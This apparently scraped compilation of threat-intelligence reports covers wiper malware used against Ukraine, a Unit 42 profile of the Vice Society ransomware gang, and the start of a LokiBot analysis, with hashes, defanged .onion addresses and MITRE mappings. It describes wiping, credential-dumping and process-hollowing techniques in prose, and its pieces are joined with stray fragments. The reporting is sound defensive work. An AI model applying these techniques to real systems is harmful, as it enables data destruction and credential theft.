For this reason, in addition to destroying the data, many wipers first destroy two special files in the system: The Master Boot Record (MBR), which is used during the boot process to identify where the Operative System is stored in the disk.


By replacing the MBR, the boot process crashes, making the files inaccessible unless forensic methodologies are used.

Analysis on recent wiper attacks examples and how wiper malware works


The Master File Table (MFT) is exclusive to NTFS file systems, contains the physical location of files in the drive as well as logical and physical size and any associated metadata.


If big files need to be stored in the drive, and cannot use consecutive blocks, these files will have to be fragmented in the disk.


The MFT holds the information of where each fragment is stored.


Removing the MFT will require the use of forensic tools to recover small files, and basically prevents recovery of fragmented files since the link between fragments is lost.


The main difference between wipers and ransomware is that it’s impossible to retrieve the impacted information after a wiper attack.


Attackers using wipers do not usually target financial reward but intend to disrupt the victim’s operations as much as possible.


Ransomware operators aim to get a payment in exchange for the key to decrypt the user’s data.


With both wiper and ransomware attacks, the victim depends on their back up system to recover after an attack.


However, even some wiper attacks carry ransom notes requesting a payment to recover the data.


It is important that the victim properly identifies the attack they've suffered, or they may pay the ransom without any chance of retrieving the lost data.


In the last month and a half, since the war started in Eastern Europe, several wipers have been used in parallel with DDoS attacks (T1499) to keep financial institutions and government organizations, mainly Ukrainian, inaccessible for extended periods of time.


Some of the wipers observed in this timeframe have been: WhisperKill, HermeticWiper, IsaacWiper, CaddyWiper, DoubleZero Wiper and AcidRain.


Most recent wiper examples WhisperKill On January 14, 2022, the Ukrainian government experienced a coordinated attack on 22 of their government agencies, defacing their websites.


Almost all the compromised websites were developed by the same Ukranian IT company, Kitsoft, and all of them were built on OctoberCMS.


Therefore, the attack vector was most probably a supply chain attack on the IT provider, or an exploitation of an OctoberCMS vulnerability, combined with exploitations of Log4Shell vulnerability (T1190).


Example of defaced Ukrainian government website.


In addition to the website defacement, Microsoft Threat Intelligence Center (MSTIC), identified in a report destructive malware samples targeting Ukrainian organizations with two malware samples.


Microsoft named the samples WhisperGate, while other security companies labeled the downloader as WhisperGate and WhisperKill as the actual wiper, which was considered a component of WhisperGate.


The identified files were: Stage1 replaces the Master Boot Record (MBR) with a ransom note when the system is powered down, deeming the machine unbootable after that point.


When booted up, the system displays Figure 2 on screen.


Despite the ransom request, the data will not be recoverable since all efforts made by WhisperKill are looking to destroy data, not encrypt it.


In this case, the wallet is most probably an attempt to decoy attribution efforts.


Ransom note obtained by MSTIC.


Stage 2 attempts to download the next stage malware (T1102.003) from the Discord app, if unsuccessful, it sleeps and tries again.


The payload downloaded from the messaging app destroys as much data as possible by overwriting certain file types with 0xCC for the first MB of the file.


Then it modifies the file extension to a random four-byte extension.


By selecting the file types to be wiped and only writing over the first MB of data, the attackers are optimizing the wiping process.


This is due to not wasting time on system files and only spending the necessary time to wipe each file, rapidly switching to the next file as soon as the current one is unrecoverable.


Finally, the malware executes a command to delete itself from the system (T1070.004).


HermeticWiper A month after, on February 23rd 2022, ESET Research reported a new Wiper being used against hundreds of Ukrainian systems.


The wiper receives its name from the stolen certificate (T1588.003) it was using to bypass security controls “Hermetica Digital Ltd” (T1588.003).


According to a Reuters article, the certificate could have also been obtained by impersonating the company and requesting a certificate from scratch.


Hermetica Digital Ltd certificate.


The attackers have been seen using several methods to distribute the wiper through the domain, like: domain Group Policy Object (GPO) (T1484.001), Impacket or SMB (T1021.002) and WMI (T1047) with an additional worm component named HermeticWizard.


The wiper component first installs the payload as a service (T1569.002) under C:\Windows\system32\Drivers\. Afterwards, the service corrupts the first 512 bytes of the MBR of all the Physical Drives, and then enumerates their partitions.


Before attempting to overwrite as much data as the wiper can it will delete key files in the partition, like MFT, $Bitmap, $LogFile, the NTUSER registry hive (T1112) and the event logs (T1070.001).


On top of deleting key file system structures, it also performs a drive fragmentation (breaking up files and segregating them in the drive to optimize the system’s performance).


The combination of the file fragmentation and the deletion of the MFT makes file recovery difficult, since files will be scattered through the drive in small parts - without any guidance as to where each part is located.


Finally, the malware writes randomized contents into all occupied sectors in the partition in an attempt to remove all potential hope of recovering any data with forensic tools or procedures.


IsaacWiper A day after the initial destructive attack with HermeticWiper, on February 24th, 2022, a new wiper was used against the Ukrainian government, as reported by ESET, without any significant similarities to the HermaticWiper used the day before.


IsaacWiper identifies all the physical drives not containing the Operative System and locks their logical partitions by only allowing a single thread to access each of them.


Then it starts to write random data into the drives in chunks of 64 KB.


There is a unique thread per volume, making the wiping process very long.


Once the rest of the physical drives and the logical partitions sharing physical drive with the Operative System’s volume have been wiped, this last volume is wiped by: Erasing the MBR.


Overwriting all files with 64 KB chunks of random data with one thread.


Creating a new file under the C drive which will be filled with random data until it takes the maximum space it can from the partition, overwriting the already overwritten existing files.


This process is performed with a different thread, but it would still take a long time to write the full partition since both concurrent threads are actually attempting to write random data on the full disk. Figure 4.


IsaacWiper strings.


When comparing IsaacWiper to WhisperKill, the attackers’ priorities become clear.


WhisperKill creators prioritized speed and number of affected files over ensuring the full drive is overwritten, since only 1 MB of each file was overwritten.


On the other hand, IsaacWiper creators gave total priority to deliver the most effective wiper, no matter how long it takes to overwrite the full physical disk.


AcidRain On the same day IsaacWiper was deployed, another wiper attacked Viasat KA-SAT modems in Ukraine, this time with a different wiper, named AcidRain by SentinelLABS.


This wiper was particularly aimed at modems, probably to disrupt Internet access from Ukraine.


This new wiper showed similarities to previously seen botnets targeting modems using VPNFilter.


It was used in 2018, targeting vulnerabilities in several common router brands:


Linksys, MikroTik, NETGEAR, and TP-Link.


Exploiting vulnerabilities allowed the attackers to obtain Initial Access inside all types of networks, where the bot would search for Modbus traffic to identify infected systems with Industrial Control Systems (ICS).


The wiper used was the ELF MIPS wiper targeting Viasat KA-SAT modems, which aimed to firstly overwrite any file outside of the any common *nix installation: bin, boot, dev, lib, proc, sbin, sys, sur, etc. to then delete data from /dev/. CaddyWiper The first version of CaddyWiper was discovered by ESET researchers on 2022-03-14 when it was used against a Ukrainian bank.


This new wiper variant does not have any significant code similarities to previous wipers.


This sample specifically sets an exclusion to avoid infecting Domain Controllers in the infected system.


Afterwards, it targets C:/Users and any additional attached drive all the way to letter Z:/ and zeroes all the files present in such folders/drives.


Finally, the extended information of the physical drives is destroyed, including the MBR and partition entries.


A variant of CaddyWiper was used again on 2022-04-08 14:58 against high-voltage electrical substations in Ukraine.


This latest version of the wiper was delivered together with Industroyer2, an evolution of Industroyer, which has the main functionn being to communicate with industrial equipment.


In this case, the wiper was used with the purpose of slowing down the recovery process from the Industroyer2 attack and gaining back control of the ICS consoles, as well as covering the tracks of the attack.


According to Welivesecurity, who have been cooperating with CERT-UA in this investigation, the Sandworm Team is behind this latest attack.


In this same attack against the energy station in Ukraine, other wiper samples for Linux and Solaris were observed by WeliveSecurity.


These wipers leverage the shred command if present, otherwise they use the basic dd or rm commands to wipe the system.


DoubleZero wiper On March 22, 2022 CERT-UA reported a new wiper used against their infrastructure and enterprises.


Named DoubleZero, the wiper was distributed as a ZIP file containing an obfuscated .NET program.


The wiper’s routine sets a hardcoded list of system directories, which are skipped during an initial wiping targeting user files.


Afterwards, the skipped system directories are targeted and finally the registry hives: HKEY_LOCAL_MACHINE (containing the hives Sam, Security, Software and System), HKEY_CURRENT_USER and HKEY_USERS.


There are two wiping methods, both of which zero out the selected file.


DoubleZero first wiping function.


Conclusion As we have seen in the examples above, the main objective of the attackers behind wipers is to destroy all possible data and render systems unbootable (if possible), potentially requiring a full system restore if backups aren’t available.


These malware attacks can be as disruptive as ransomware attacks, but wipers are arguably worse since there is no potential escape door of a payment to recover the data.


There are plenty of ways to wipe systems.


We've looked at 6 different wiper samples observed targeting Ukranian entities.


These samples approach the attack in very different ways, and most of them occur faster than the time required to respond.


For that reason, it is not effective to employ detection of wiper malware, as once they are in the system as it is already too late.


The best approach against wipers is to prevent attacks by keeping systems up to date and by increasing cybersecurity awareness.


In addition, consequences can be ameliorated by having periodic backup copies of key infrastructure available.


Associated indicators (IOCs)


The following technical indicators are associated with the reported intelligence.


A list of indicators is also available in the following OTX Pulses: WhisperKill HermeticWiper and IsaacWiper AcidRain CaddyWiper DoubleZero Please note, the pulses may include other activities related but out of the scope of the report.


TYPE INDICATOR DESCRIPTION SHA256 a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92 WhisperKill (stage1.exe) SHA256 dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78 WhisperKill (stage2.exe) SHA256 0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da HermeticWiper SHA256 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 HermeticWiper SHA256 13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033 IsaacWiper SHA256 9b4dfaca873961174ba935fddaf696145afe7bbf5734509f95feb54f3584fd9a AcidRain SHA256 47f521bd6be19f823bfd3a72d851d6f3440a6c4cc3d940190bdc9b6dd53a83d6 AcidRain SHA256 Fc0e6f2effbfa287217b8930ab55b7a77bb86dbd923c0e8150551627138c9caa CaddyWiper SHA256 7062403bccacc7c0b84d27987b204777f6078319c3f4caa361581825c1a94e87 Industroyer2 SHA256 3b2e708eaa4744c76a633391cf2c983f4a098b46436525619e5ea44e105355fe DoubleZero SHA256 30b3cbe8817ed75d8221059e4be35d5624bd6b5dc921d4991a7adc4c3eb5de4a DoubleZero Mapped to MITRE ATT&CK The findings of this report are mapped to the following MITRE ATT&CK Matrix techniques: TA0001: Initial Access T1190: Exploit Public-Facing Application TA0002


: Execution T1047: Windows Management Instrumentation T1569: System Services T1569.002:


Service Execution TA0008: Lateral Movement T1021:


Remote Services T1021.002: SMB/Windows Admin Shares TA0005: Defense Evasion T1070: Indicator Removal on Host T1070.004:


File Deletion T1070.001: Clear Windows Event Logs T1112: Modify Registry T1484: Domain Policy Modification T1484.001:


Group Policy Modification TA0011: Command and Control T1102: Web Service T1102.003: One-Way Communication TA0040: Impact T1485: Data Destruction T1499: Endpoint Denial of Service TA0042: Resource Development T1588: Obtain Capabilities T1588.003: Code Signing Certificates


Vice Society:

Vice Society Profiling a Persistent Threat to the Education Sector


Profiling a Persistent Threat to the Education Sector url: https://unit42.paloaltonetworks.com/vice-society-targets-education-sector/ Executive Summary Vice Society is a ransomware gang that has been involved in high-profile activity against schools this year.


Unlike many other ransomware groups such as LockBit that follow a typical ransomware-as-a-service (RaaS) model, Vice Society’s operations are different in that they’ve been known for using forks of pre-existing ransomware families in their attack chain that are sold on DarkWeb marketplaces.


These include the HelloKitty (aka FiveHands) and Zeppelin strains of ransomware as opposed to Vice Society developing their own custom payload.


In September 2022, a joint Cybersecurity Advisory (CSA) from the FBI, CISA and the MS-ISAC declared they had recently observed Vice Society actors disproportionately targeting the education sector with ransomware attacks.


The CSA continued that attacks could increase as the 2022-23 school year begins and criminal ransomware groups perceive opportunities for successful attacks.


Vice Society first surfaced in the summer of 2021, and in that time frame it was seen exploiting the CVE-2021-34527 (aka PrintNightmare) vulnerability as part of their attack chain.


The gang is also known to target backups and exfiltrate data from compromised systems to be leveraged for the purpose of double extortion, a common ransomware operation tactic where victims are pressured to pay a specified ransom amount in exchange for decryption and to avoid having sensitive data published on the attacker’s dedicated leak site.


Palo Alto Networks customers receive protections against ransomware used by Vice Society from Cortex XDR, as well as from the WildFire cloud-delivered security service for the Next-Generation Firewall.


The Unit 42 Incident Response team can also be engaged to help with a compromise or to provide a proactive assessment to lower your risk.


Table of Contents Vice Society Activity TimelineStudy of Vice Society’s VictimsGeographical ImpactImpacted Industry VerticalsLeak Site Metric ComparisonsUnit 42 Incident Response Data on Vice SocietyVice Society Technical DetailsLeak Site SynopsisHelloKitty UsageZeppelin UsageConclusionTactics, Techniques and Procedures (TTPs)Indicators of Compromise (IoCs)Additional Resources Vice Society Activity Timeline Early reports of the extortion group Vice Society were shared on Twitter by malware researchers such as Michael Gillespie.


These tweets depicted HelloKitty ransomware payloads appending a .v-society extension to encrypted files on June 10, 2021.


Since then, Vice Society has used a variety of different ransomware strains including the following notable examples: In June 2021, Vice Society infected victims with HelloKitty.


In 2021 and 2022, Vice Society used Zeppelin to target Windows hosts.


During their 2021 infections, these attackers also exploited vulnerabilities such as PrintNightmare to escalate privileges and spread laterally across targeted networks.


Based on leak site activity we’ve observed in recent months, as shown in Figure 1, we saw a subtle spike at the turning point from 2021 to 2022.


This was followed by one large spike of activity at the end of spring 2022.


Vice Society activity timeline (all leak site victim data).Fast forward to fall 2022, when we saw another wave of Vice Society activity across the education sector, as shown in Figure 2, which prompted a flood of advisories and reports about the group.


The noticeable spikes in spring and fall give us a hint at some of their motivations.


As education organizations are the group’s prime target, this could be an indication that they’re timing campaigns to coincide with this sector’s unique calendar year.


The school year for most educational institutions in the U.S. typically starts in late August-September and ends in June.


They might have been trying to time their attacks in 2022 with the transitions of the beginning and end of the school year.


Vice Society activity timeline (education-specific leak site victim data).Study of Vice Society’s Victims Vice Society is notorious for targeting the education sector – K-12 and higher education institutions in particular (as referenced in the recent CISA Advisory).


Other targeted sectors include healthcare and nongovernmental organizations (NGOs).


Common targets are small- to medium-size businesses, with no geographical focus apparent at this time.


Rather, as noted in a report by SOCRadar, Vice Society focuses on targets of opportunity.


For years, sectors such as education and healthcare have suffered from many challenges in combating ransomware that have made them particularly attractive targets.


A lack of budgeting for systems and security solutions has led many organizations to run legacy hardware that isn’t patched against the latest vulnerabilities.


Other challenges that could increase the overall attack surface of these organizations include difficulties in controlling and managing a large number of personal devices brought in by students and staff members.


These personal devices introduce inherent risk because they may interact with personal files via cloud services.


Although these sectors might have dedicated IT or security teams that run traditional security solutions such as an intrusion detection system (IDS) or intrusion prevention system (IPS), ransomware threat actors are leveraging living off the land techniques that can effectively circumvent traditional signature-based detection mechanisms.


These tactics require an extended detection and response (XDR) platform for more robust behavioral monitoring within a network.


The education and healthcare sectors also experience the common challenge of finding staff who are adequately trained to handle the ongoing threat of ransomware.


And lastly, many of these organizations are charged with protecting some of the most sensitive and valuable personally identifiable information (PII) of any business sector.


Geographical Impact Vice Society is primarily opportunistic, and its targets have included organizations across the globe.


The group has infected organizations based in all regions, as shown in Figures 3 and 4, with the largest numbers in the U.S., followed by the U.K., Spain, France, Brazil, Germany and Italy. Figure 3.


Global geographic distribution of organizations listed on Vice Society leak site.


Chart version of global geographic distribution of organizations listed on Vice Society leak site.


The CISA advisory mentions how Vice Society has disproportionately targeted educational institutions in the United States.


Looking at leak site data in more detail, the group appears to be targeting more educational organizations based in California, as shown in Figure 5.


Vice Society United States victimology (all leak site victim data).Impacted Industry Verticals Although Vice Society has been in the headlines for targeting educational organizations, they also extort victims in many other industry verticals, as shown in Figure 6, including those supplying critical infrastructure, such as healthcare, government entities and manufacturing.


Industry verticals targeted by Vice Society (leak site data).Leak Site Metric Comparisons


According to analysis of ransomware leak sites, Unit 42 has identified Vice Society as being in the top 10 of the most impactful ransomware gangs of 2022.


We estimate that, since it started operations in 2021, Vice Society has impacted more than 100 organizations in total.


More than 90 of the total published leak site infections occurred in the year 2022 alone.


Leak site data suggests that Vice Society has had the highest impact on education organizations this year, with at least 33 educational institutions having been listed on the group’s dedicated ransomware leak site.


This impact is closely followed by ransomware families such as LockBit 2.0 and 3.0, as shown in Figure 7. Figure 7.


Top ransomware families targeting educational institutions in 2022 (leak site data).Unit


42 Incident Response Data on Vice Society Since Vice Society’s inception in 2021, Unit 42 has performed incident response (IR) engagements with clients who have been impacted by Vice Society.


Let’s look at some of the data from these incidents.


Dwell Time


In Unit 42 IR cases regarding Vice Society, we observed dwell times as high as six days.


This represents the time elapsed between the date of initial compromise and the date of initial discovery.


Ransom Demands When tracking ransomware group operations, Unit 42 takes note of the initial and final ransom demands made by each ransomware group.


This allows us to better understand how aggressive a particular ransomware gang’s demands might be for particular industry verticals, and to get a general view into the rate at which a particular actor might drive their demands down after negotiations take place.


Our observations of ransom demands by Vice Society across IR cases include: Initial demands by this actor could exceed $1 million.


Final demands after negotiations were as high as $460,000.


The difference between initial demands and final demands could be significant.


We saw decreases as large as 60%.


Vice Society Technical Details Leak Site Synopsis Over the past year, Vice Society has operated sites on the Tor network using the following .onion address:vsociethok6sbprvevl4dlwbqrzyhxcxaqpvcqt5belwvsuxaxsutyad[.]onion On Oct. 20, the primary .onion address became inactive, while the following site mirror was still active: ssq4zimieeanazkzc5ld4v5hdibi2nzwzdibfh5n5w4pw5mcik76lzyd[.]onion Recently, the header for the group’s blog site bears a striking resemblance to the logo of a popular video game titled “Grand Theft Auto: Vice City” (shown in Figure 8).


Vice Society active leak site mirror (Oct. 20).On Oct. 25, the original .onion address became active again.


It was updated to include additional blog sections.


As of early November, the “Our Blog” page showcased one article that highlights the group's notoriety, as shown in Figure 9. Figure 9.


Vice Society leak site including additional blog content (early November).The new “Our Partners” page takes the place of the main page from the previous incarnation of the leak site, including links to view leaked victim data.


The new “For Victims” page directs victims to the ransom note that is dropped as part of the group’s infection chain.


This is followed by additional instructions in case the victim doesn’t respond to one of the contact emails provided in their ransom note.


During the extortion process, the attacker typically gives victims seven days to fulfill ransom demands, as shown in Figure 10. Figure 10.


Vice Society leak site victims page.


The “For Journalists” page depicts a “Frequently Asked Questions” section to address general questions about the group, as shown in Figure 11. Figure 11.


Vice Society leak site journalists page.


HelloKitty Usage At the start of the group’s observed operations in 2021, Vice Society affiliates used the HelloKitty Ransomware variant as a primary payload in their infection chain.


This ransomware family was first observed in December 2020, primarily targeting Windows systems.


This variant gets its name from its mutex: HELLOKITTYMutex.


In July 2021, as described in our HelloKitty ATOM, Unit 42 came across a Linux (ELF) sample with the name funny_linux.elf that had a ransom note with contents similar to those of HelloKitty for Windows samples.


This Linux sample led to the discovery of additional HelloKitty samples for Linux dating back to October 2020.


In March 2021, HelloKitty’s Linux variant was also observed in the wild to target ESXi servers.


Similar to ransomware variants like BlackCat, HelloKitty ransomware typically requires a key to execute, to hinder analysis efforts.


In HelloKitty’s case, this key is typically obfuscated with AES 256 encryption.


As mentioned in our previous report detailing emerging ransomware families in 2021, HelloKitty features multiple flags that could be set as command line arguments, which are detailed in Table 1 of the linked report.


Vice Society ransom note using HelloKitty ransomware.


When the encryption process is complete, encrypted files are typically appended with an extension using the following format: .v-society.<victim ID>.


Zeppelin Usage As previously mentioned, the Vice Society group has also been known to adopt other ransomware families such as Zeppelin as a part of their infection chain.


Upon execution, the ransomware binary deletes itself and drops a ransom note on the victim machine’s desktop titled !!!


ALL YOUR FILES ARE ENCRYPTED !!!


.TXT.


The contact email address provided by the threat actor vary between samples, but the public v-society.official@onionmail[.]org address and the Tor .onion link remain consistent.


Vice Society ransom note using Zeppelin ransomware.


Additional execution details include the following: Creating the HKCU\Software\Zeppelin registry key Appending an extension with the format A1A-A80-4CD to encrypted files Creating a file called README.txt.v-society Imphash: 8acb34bed3caa60cae3f08f75d53f727 Creating a temp file with a .Zeppelin extension using the following format - C:\Users\<User>\AppData\Local\Temp\7D3ED7F1.Zeppelin Conclusion School districts with limited cybersecurity capabilities and constrained resources are often the most vulnerable to threat actors.


The opportunistic targeting often seen with cybercriminals can put even school districts with robust cybersecurity programs at risk.


K-12 institutions may be seen as particularly lucrative targets due to the amount of sensitive student data accessible through school systems or their managed service providers.


Vice Society and its consistent targeting of the education industry vertical, particularly around the September time frame, serves as a warning that this group has shaped their campaigns to take advantage of the school year in the U.S.


It’s likely they’ll maintain use of these tactics to impact the cyberthreat landscape moving forward, as long as their activities continue to be lucrative for them.


Educational institutions should continue to implement security best practices and be wary of the ongoing threat of ransomware, especially during the start and end of the school year.


K-12 institutions and universities do have an advantage when it comes to protecting themselves that too few organizations use to its full potential.


In a school environment, there are many educators who can help inform trainings for both staff and students to learn what they need to do to maintain security for everyone in the organization.


Vice Society’s use of multiple ransomware payloads across both Windows and Linux hosts shows that they’re continually evolving.


They will likely continue leveraging additional ransomware strains in the future, as well as exploiting newly disclosed vulnerabilities.


As we do with other ransomware groups, Unit 42 strongly advises organizations that have been impacted by Vice Society to avoid paying a ransom if possible, and to instead consult a trusted IR negotiation team for the best course of action.


+65.6983.8730 Japan: +81.50.1790.0200 Tactics, Techniques and Procedures (TTPs)


Unit 42 has observed the following TTPs being used by Vice Society in past incident response engagements involving the group.


The following table illustrates these TTPs according to the MITRE ATT&CK framework.


TA0001 Initial Access T1566 Phishing Vice Society is known to use phishing to gain initial access to victims’ systems.


T1078 Valid Accounts Compromised valid credentials have been used by Vice Society to gain initial access.


T1190 Exploit Public-Facing Applications Internet-facing applications and systems vulnerabilities can be exploited, such as PrintNightmare (CVE-2021-1675) and (CVE-2021-34527), to gain initial access.


TA0002 Execution T1047 Windows Management Instrumentation (WMI) Malicious commands are executed via WMI as a means of “living off the land” and avoiding detection.


Scheduled Task/Job Vice Society is known to execute commands via scheduled tasks/jobs.


T1059.001 Command and Scripting Interpreter:


Powershell Vice Society utilizes PsExec for execution, persistence and defense evasion.


T1059.003 Command and Scripting Interpreter:


Command Shell Batch files are used by Vice Society to deploy the ransomware via PsExec.


TA0003 Persistence T1543.003 Modify System Process To maintain access to compromised systems, Vice Society leverages Windows operating functions to execute encrypted PowerShell.


T1547.001 Registry Run Keys/Startup Folder Persistence is maintained after boot/reboot via malicious autostart registry keys.


T1574.002 DLL Side-Loading Vice Society utilizes legitimate programs to side-load the group’s own DLL to execute their payload.


TA0004 Privilege Escalation T1068 Exploitation for Privilege Escalation Software vulnerabilities, such as PrintNightmare (CVE-2021-1675) and (CVE-2021-34527), may be exploited in an attempt to elevate privileges.


TA0005 Defense Evasion T1036


Masquerading Files dropped in the victim’s environment by Vice Society may have been altered to appear legitimate.


T1055 Process Injection Legitimate processes have been corrupted by Vice Society via code injection, as a means to evade defenses.


T1070 Indicator Removal on Host As with many other ransomware groups, Vice Society attempts to clear system, security and application logs on compromised machines.


T1112 Modify Registry Vice Society attempts to disable Windows Defender by modifying the Registry.


T1497 Sandbox Evasion Vice Society attempts to thwart reverse engineering and/or dynamic analysis via various sandbox evasion techniques.


Impair Defenses: Disable or Modify Tools Attempts to disable or modify endpoint security, such as Microsoft Defender, on compromised devices.


TA0006 Credential Access T1003 OS Credential Dumping Vice Society is known to utilize ntds.dit and comsvcs.dll to extract credentials.


T1003.001 OS Credential Dumping: LSASS Memory Vice Society utilizes comsvcs.dll to dump credentials from Local Security Authority Subsystem Service.


T1003.003 OS Credential Dumping: NTDS Vice Society attempts to “live off the land” by utilizing ntds.dit and ntdsutil.exe to dump Active Directory Database in an effort to obtain credentials.


TA0007 Discovery T1046 Network Service Discovery Vice Society has been seen using the recon tool called Advanced Port Scanner to identify running services and local network infrastructure.


T1482 Domain Trust Discovery Vice Society has been seen using the attack path reconnaissance tool Bloodhound during the initial stages of their attack before ransomware is deployed.


Remote Services RDP is used by the group for lateral movement.


T1021.002 Remote Services: SMB/Windows Admin Shares SMB shares have been used by Vice Society for lateral movement.


T1080 Taint Shared Content Network drives and other shared storage locations are used by Vice Society to deliver payloads.


T1570 Lateral Tool Transfer Lateral tool transfers have been used to move tools and files from one compromised system to another, including SMB and RDP.


TA0010 Exfiltration T1020 Automated Exfiltration PowerShell scripts are used to exfiltrate data to external C2 servers.


T1041 Exfiltration over C2 Channel Tools such as PowerShell and PsExec are used to exfiltrate data directly to C2 servers.


T1048 Exfiltration Over Alternative Protocol Vice Society has used SMB in attempts to exfiltrate data.


T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage Cloud storage and transfer services such as Mega.nz, Anonfiles.com, File.io, and Sendspace have been used by Vice Society to exfiltrate victim data.


TA0011 Command and Control T1219


Remote Access Software Tools such as SystemBC and proprietary backdoors are known to be used by Vice Society.


TA0040 Impact T1486 Data Encrypted for Impact Vice Society is known for its extortion tactics, encrypting devices and demanding a ransom.


T1531 Account Access Removal Vice Society is known to change passwords of compromised victim accounts and privileged users, such as email and administrator accounts.


Indicators of Compromise (IoCs) HelloKitty Elf samples featuring Vice Society ransom note header: 643a3121166cd1ee5fc6848f099be7c7c24d36f5922f58052802b91f032a5f0f 754f2022b72da704eb8636610c6d2ffcbdae9e8740555030a07c8c147387a537 78efe6f5a34ba7579cfd8fc551274029920a9086cb713e859f60f97f591a7b04 16a0054a277d8c26beb97850ac3e86dd0736ae6661db912b8782b4eb08cfd36e Zeppelin ransomware with the Vice Society ransom note header: 4a4be110d587421ad50d2b1a38b108fa05f314631066a2e96a1c85cc05814080 307877881957a297e41d75c84e9a965f1cd07ac9d026314dcaff55c4da23d03e faa79c796c27b11c4f007023e50509662eac4bca99a71b26a9122c260abfb3c6 dd89d939c941a53d6188232288a3bd73ba9baf0b4ca6bf6ccca697d9ee42533f 4440763b18d75a0f9de30b1c4c2aeb3f827bc4f5ea9dd1a2aebe7e5b23cfdf94 24efa10a2b51c5fd6e45da6babd4e797d9cae399be98941f950abf7b5e9a4cd7 bafd3434f3ba5bb9685e239762281d4c7504de7e0cfd9d6394e4a85b4882ff5d aa7e2d63fc991990958dfb795a0aed254149f185f403231eaebe35147f4b5ebe 001938ed01bfde6b100927ff8199c65d1bff30381b80b846f2e3fe5a0d2df21d Ab440c4391ea3a01bebbb651c80c27847b58ac928b32d73ed3b19a0b17dd7e75 Contact information: vicesociety@onionmail[.]org v-society.official@onionmail[.]org LarryGold@onionmail[.]org MollyThomson@onionmail[.]org BruceBoyle@onionmail[.]org SylvesterJones@onionmail[.]org brendaevans4454@onionmail[.]org warreinolds77@onionmail[.]org DaltonReed@onionmail[.]org FreddieFerrell@onionmail[.]org lewiselsberry@onionmail[.]org inezeng@onionmail[.]org lonnieguzman@onionmail[.]org thomasmoore@onionmail[.]org Domains: vsociethok6sbprvevl4dlwbqrzyhxcxaqpvcqt5belwvsuxaxsutyad[.]onion Qu5dci2k25x2imgki2dbhcwegqqsqsrjj5d3ugcc5kpsgbtj2psaedqd[.]onion Wavbeudogz6byhnardd2lkp2jafims3j7tj6k6qnywchn2csngvtffqd[.]onion gunyhng6pabzcurl7ipx2pbmjxpvqnu6mxf2h3vdeenam34inj4ndryd[.]onion Additional Resources Threat Brief:


Windows Print Spooler RCE Vulnerability (CVE-2021-34527 AKA PrintNightmare)Emerging Ransomware Groups: AvosLocker, Hive, HelloKitty, LockBit 2.0Threat


Assessment: Zeppelin Ransomware#StopRansomware: Vice Society | CISADark Web Profile: Vice Society - SOCRadar:registered: Cyber Intelligence Inc.


Michael Gillespie Twitter postUnit 42 ATOM: HelloKittyUNC2447 SOMBRAT and FIVEHANDS Ransomware:


A Sophisticated Financial Threat | Mandiant Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us


Executive Summary Unit 42 researchers have uncovered a malware distribution campaign that is delivering the LokiBot information stealer via business email compromise (BEC) phishing emails.

Spike in LokiBot Activity During Final Week of 2022


This malware is designed to steal sensitive information from victims' systems, such as passwords and banking information, as well as other sensitive data.


In this blog, we will explain how attackers used an innocent-looking email to lure victims into opening an attachment.


The attachment contained a LokiBot information stealer.


We will provide technical details on how the LokiBot sample uses obfuscation and a persistence mechanism to avoid detection.


We will also describe the command and control (C2) channel communication.


Finally, we will list the various applications from which the malware steals data.


The Appendix of this blog will provide an in-depth description of each data byte in the HTTP based C2 communication, detailing the specific purpose of each byte.


It will also provide a breakdown of how the data byte is structured.


Palo Alto Networks customers receive protections from and mitigations for LokiBot information stealer C2 communication in the following ways: Table of Contents IntroductionLokiBot Malware AnalysisFirst


StageLoaderFinal PayloadObfuscationMain


Stealing FeaturePersistenceHTTP C2 CommunicationConclusionIndicators of CompromiseSamplesInfrastructureAdditional ResourcesAppendix Introduction LokiBot (often referred to as Loki-bot or Loki PWS) is notorious information-stealing malware.


It collects sensitive data from web browsers, email clients, FTP servers and crypto wallets.


This threat then uploads this information to an attacker-controlled machine via HTTP POST.


The malware can also create a backdoor on the infected machine, enabling an attacker to install further malicious software.


First identified in 2015, LokiBot has since been used in multiple security breaches.


Furthermore, the malware is constantly evolving, making it difficult to contain and protect against.


During the winter holiday season of 2022, Unit 42 researchers noticed that our machine learning-based C2 detection solution identified a particular HTTP payload as malicious.


After analyzing its traffic patterns, we identified that it belonged to a LokiBot infection.


After investigating the attack vector delivering this malware and further network traffic activity, we found the original email that included a ZIP file attached, which contained an ISO file.


The ISO file had the final payload.


We have found that this attempt to deliver the LokiBot malware has strong ties to a BEC campaign.


BEC entails gaining unauthorized access to email leading to financial fraud, and it is one of the most prevalent and costly forms of cyberattacks today.


Signs of BEC include fraudulent wire transfer requests, as well as spam or phishing emails sent from a customer’s corporate domain.


Victims might also notice missing or deleted emails due to unauthorized access to email systems.


Malspam delivers a LokiBot sample.


When collecting data, we also analyzed additional threat intel data sources such as ThreatFox.


We noticed that LokiBot activity had a relatively small amount of indicators of compromise (IoCs) when we first detected this sample.


However, during the end of 2022, the number of occurrences peaked in the last three days of December.


Threat actors often increase their attack efforts during U.S. or other targeted nations' holidays.


During this time, cyberattacks are often more effective as security and other personnel take this time off.


Figure 2 shows LokiBot activity from ThreatFox. Figure 2.


ThreatFox LokiBot monitoring.


Data source: ThreatFox.


LokiBot Malware Analysis First Stage


The ISO file format is typically used to package the contents of an optical disc.


In this instance, it is used to deliver the LokiBot malware.


By using this file format, the attackers are trying to bypass malspam detection technologies that usually focus on detecting file types more commonly used in malware infection chains (e.g., EXE and DLL files, MS Office files).


ISO files are also attractive to attackers because, while specific software was required to open them in the past, Windows includes an ISO file opener that mounts and opens the file with a simple double-click.


To the victim, the opening process simply looks like a regular directory.


Loader Opening the ISO file gives us access to a PE EXE file that is actually a loader.


This file is an obfuscated .NET file using process hollowing, which is a code injection technique in which an attacker removes legitimate code from an executable and replaces it with malicious code.


In this case, process hollowing was used to inject a malicious PE file into the legitimate process called aspnet_compiler.exe.


Figure 3 shows some IoCs in the memory of the infected process.


Dumping the PE from the process memory gives us access to the final LokiBot payload.


The infected process that contains IoCs.


Final Payload Obfuscation This LokiBot sample only uses one code obfuscation technique: API hashing.


